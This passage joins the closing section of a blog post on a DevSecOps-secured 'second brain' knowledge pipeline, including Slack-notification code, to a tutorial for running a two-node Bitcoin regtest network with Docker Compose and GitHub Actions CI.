                        "text": f"*Bias / Flags:*\n{metadata['bias_flags'] or 'None'}"
                    }
                ]
            },
            {
                "type": "section",
                "text": {
                    "type": "mrkdwn",
                    "text": f"*Summary:*\n{summary}"
                }
            },
            {
                "type": "context",
                "elements": [
                    {
                        "type": "mrkdwn",
                        "text": "🔒 Routed via Cognitive DevSecOps Pipeline"
                    }
                ]
            }
        ]
    }

    response = requests.post(webhook_url, data=json.dumps(payload),
                             headers={"Content-Type": "application/json"})
    if response.status_code != 200:
        print(f"[!] Notification failed: {response.text}")
    else:
        print("[✔] Slack notification sent successfully!")

Example Slack Output

📚 New Knowledge Added

Title: Kubernetes Security Best Practices
Source: 🔗 View Article
Captured: 2025-08-31 12:45 UTC
Bias / Flags: ⚠️ Marketing-heavy, Sponsored

Summary:
- Explains container runtime isolation
- Highlights RBAC best practices
- Warns about common misconfigs
- Emphasizes audit logging
- Recommends upgrading to the latest API versions

🔒 Routed via Cognitive DevSecOps Pipeline

This mirrors how DevSecOps teams receive alerts on vulnerabilities but applied to knowledge management.

Multi-User / Team Mode

To scale this beyond one person:

• GitOps Repo → Team knowledge base with PR reviews.

• RBAC → Contributors, Reviewers, Security Officers.

• Zero Trust → JWT/SSI authentication before accessing knowledge.

• Notifications → Slack/Discord alerts for suspicious/critical knowledge.

• Observability → Grafana/ELK dashboards tracking knowledge health.

Architecture Diagram

Knowledge Mesh for Organizations

When multiple teams adopt second brains:

• Each team has its own secure, automated knowledge pipeline.

• An AI + DevSecOps Service Mesh ensures integrity and trust across teams.

• Knowledge flows securely, just like microservices in a mesh network.

Architecture Diagram

Conclusion

Building my second brain with DevSecOps isn’t about productivity hacks; it’s about engineering trust, automation and resilience into cognition itself.

In a world where misinformation spreads faster than vulnerabilities, securing knowledge is as critical as securing infrastructure.

And just like software, the second brain is never finished.
It’s a living pipeline; always building, always evolving.

What if your team or your entire organization treated knowledge like code and secured it with DevSecOps?

We’ll stand up a private Bitcoin regtest network with two nodes, peer them, mine spendable coins and send/confirm transactions; wrapped in a clean repo with CI and an optional demo workflow.

📦 Repo: https://github.com/SubhanshuMG/bitcoin-regtest-devops

TL;DR

git clone https://github.com/SubhanshuMG/bitcoin-regtest-devops.git
cd bitcoin-regtest-devops

# Start both nodes (node1 mines 101 blocks on first run)
docker compose up -d

# Watch logs live while services get healthy
docker compose logs -f --tail=100

# Create & confirm a tx from node1 ➜ node2
bash ./scripts/create-tx.sh 0.10

# Tear down
docker compose down -v

Expected output:

🏦  Creating + broadcasting 0.10 BTC from node1 ➜ node2
🪙  TX broadcast – <txid>
✅  Confirmed in block (confirmations: 1)

What you’ll build

A two-node regtest network that’s easy to run and observe:

+----------------------------+         +----------------------------+
|        btc-node1           |         |          btc-node2         |
|  bitcoind (regtest)        | <-----> |   bitcoind (regtest)       |
|  RPC : 18443               |   P2P   |   RPC : 18445              |
|  P2P : 18444               |         |   P2P : 18446              |
|  Wallet "wallet"           |         |   Wallet "wallet"          |
|  Mines initial 101 blocks  |         |   Peers via addnode        |
+----------------------------+         +----------------------------+

Why regtest? Instant blocks, infinite coins (mine on demand), deterministic behavior—perfect for Ops, testing, and fee/mempool experiments.

Project layout (overview)

.
├─ docker-compose.yml          # 2 Bitcoin Core nodes, healthchecks (with start_period)
├─ Dockerfile                  # extends bitcoin/bitcoin:25 with jq
├─ scripts/
│  ├─ entrypoint.sh            # builds bitcoind args from env; idempotent 101-block bootstrap
│  ├─ create-tx.sh             # re-runnable: fresh address + confirm block each run
│  └─ wait-for-bitcoind.sh     # RPC readiness probe for healthchecks
└─ .github/workflows/
   ├─ ci.yml                   # lint + build + up + live logs + tx (with timings)
   └─ demo.yml                 # on-demand “Run workflow” demo; uploads node logs as artifact
└─ LICENSE                     # MIT

Step-by-step: try it locally

Pre-requisites

• Docker Engine with docker compose v2

• Internet for the first image pull

Clone & start

git clone https://github.com/SubhanshuMG/bitcoin-regtest-devops.git
cd bitcoin-regtest-devops
docker compose up -d

Observe live logs

docker compose logs -f --tail=100

Send a transaction (re-runnable)

bash ./scripts/create-tx.sh 0.10
bash ./scripts/create-tx.sh 0.25  # send another, new address each run

Quick checks

# Chain & peers
docker exec btc-node1 bitcoin-cli -regtest -rpcuser=user -rpcpassword=pass -rpcport=18443 getblockchaininfo
docker exec btc-node2 bitcoin-cli -regtest -rpcuser=user -rpcpassword=pass -rpcport=18445 getpeerinfo

# Balances
docker exec btc-node1 bitcoin-cli -regtest -rpcuser=user -rpcpassword=pass -rpcport=18443 getbalance
docker exec btc-node2 bitcoin-cli -regtest -rpcuser=user -rpcpassword=pass -rpcport=18445 getbalance

Clean up

docker compose down -v

Under the hood

• Compose wires two nodes with distinct P2P/RPC ports and persistent volumes. Healthchecks call wait-for-bitcoind.sh to poll getblockchaininfo until RPC is ready.

• Entrypoint script assembles all bitcoind flags from environment variables (robust—no brittle env expansion inside Compose). On first run, node1 mines 101 blocks so coinbase UTXOs mature and become spendable.

• Transaction helper (create-tx.sh) asks node2 for a fresh address, sends coins from node1, mines one block on node1 to confirm, and reports confirmations via jq.

CI/CD that doubles as documentation

The repo ships with two workflows:

1. CI (ci.yml) – runs on every push/PR

   • Lints Bash (ShellCheck) & Dockerfile (Hadolint)

   • Builds the image and brings the network up

   • Streams container logs live until both nodes are healthy (no silent hangs)

   • Sends a real transaction and prints timing metrics for build/up/tx

2. Demo (demo.yml) – click Run workflow in GitHub Actions

   • Same bring-up, then broadcasts a tx (configurable amount)

   • Uploads docker logs from both nodes as an artifact—great for reviewers

See them in action here: https://github.com/SubhanshuMG/bitcoin-regtest-devops/actions

Tip: The repo badges in the README point to CI and the Demo workflow, so status is always visible at a glance.

R&D lab: experiments to try

• Fee policy: tweak the -fallbackfee in the entrypoint or experiment with manual fees using sendtoaddress/fundrawtransaction/walletcreatefundedpsbt, then watch how confirmations behave when you mine.

• Mining cadence: mine variable numbers of blocks between transactions to simulate different confirmation latencies:

  docker exec btc-node1 bitcoin-cli -regtest -rpcuser=user -rpcpassword=pass -rpcport=18443 \
  generatetoaddress 3 "$(docker exec btc-node1 bitcoin-cli -regtest -rpcuser=user -rpcpassword=pass -rpcport=18443 getnewaddress)"
  

• Resilience: restart containers mid-run and confirm idempotency (node1 won’t re-mine its initial 101 blocks thanks to a .bootstrapped flag).

• Scaling out: add node3..n in docker-compose.yml and set ADDNODE to point at node1 (or build a small mesh).

• Deeper wallet ops: list UTXOs, craft raw transactions, try PSBT flows (walletcreatefundedpsbt, analyzepsbt, finalizepsbt).

Design choices & trade-offs

• Compose over Kubernetes for local ergonomics; the same container pattern ports cleanly to Helm/k8s later.

• One image for both nodes to minimize cache misses and binary drift.

• Demo-level creds via env for clarity; prefer rpcauth or a secret manager in real deployments.

• Observability-first CI: live logs + timeouts + explicit health waits—no mysterious red builds.

• Idempotency: first-run mining happens once per data volume; every create-tx.sh invocation produces a fresh on-chain transaction.

Troubleshooting quick hits

• Container unhealthy at start → RPC may not be ready yet; CI/healthchecks will wait. If it persists, check docker compose logs -f and verify env vars.

• ShellCheck warnings → scripts are lint-clean; use _ for intentionally unused loop vars.

• Hadolint DL3008 → we intentionally avoid pinning packages for CI portability; an inline ignore is documented.

• Badges stale → ensure badges include ?branch=main (and &event=workflow_dispatch for the demo); run the workflow once on main.

Where to go next?

• Add rpcauth or inject secrets from Vault/SOPS.

• Enable txindex for advanced queries.

• Export metrics/logs to your observability stack (Loki/Promtail, CloudWatch, etc.).

• Integration tests: assert balances/confirmations post-tx as part of CI.

Links

• Automation: scripts/create-tx.sh | scripts/entrypoint.sh | scripts/wait-for-bitcoind.sh

• CI workflow: .github/workflows/ci.yml

• Demo workflow: .github/workflows/demo.yml

• MIT License: LICENSE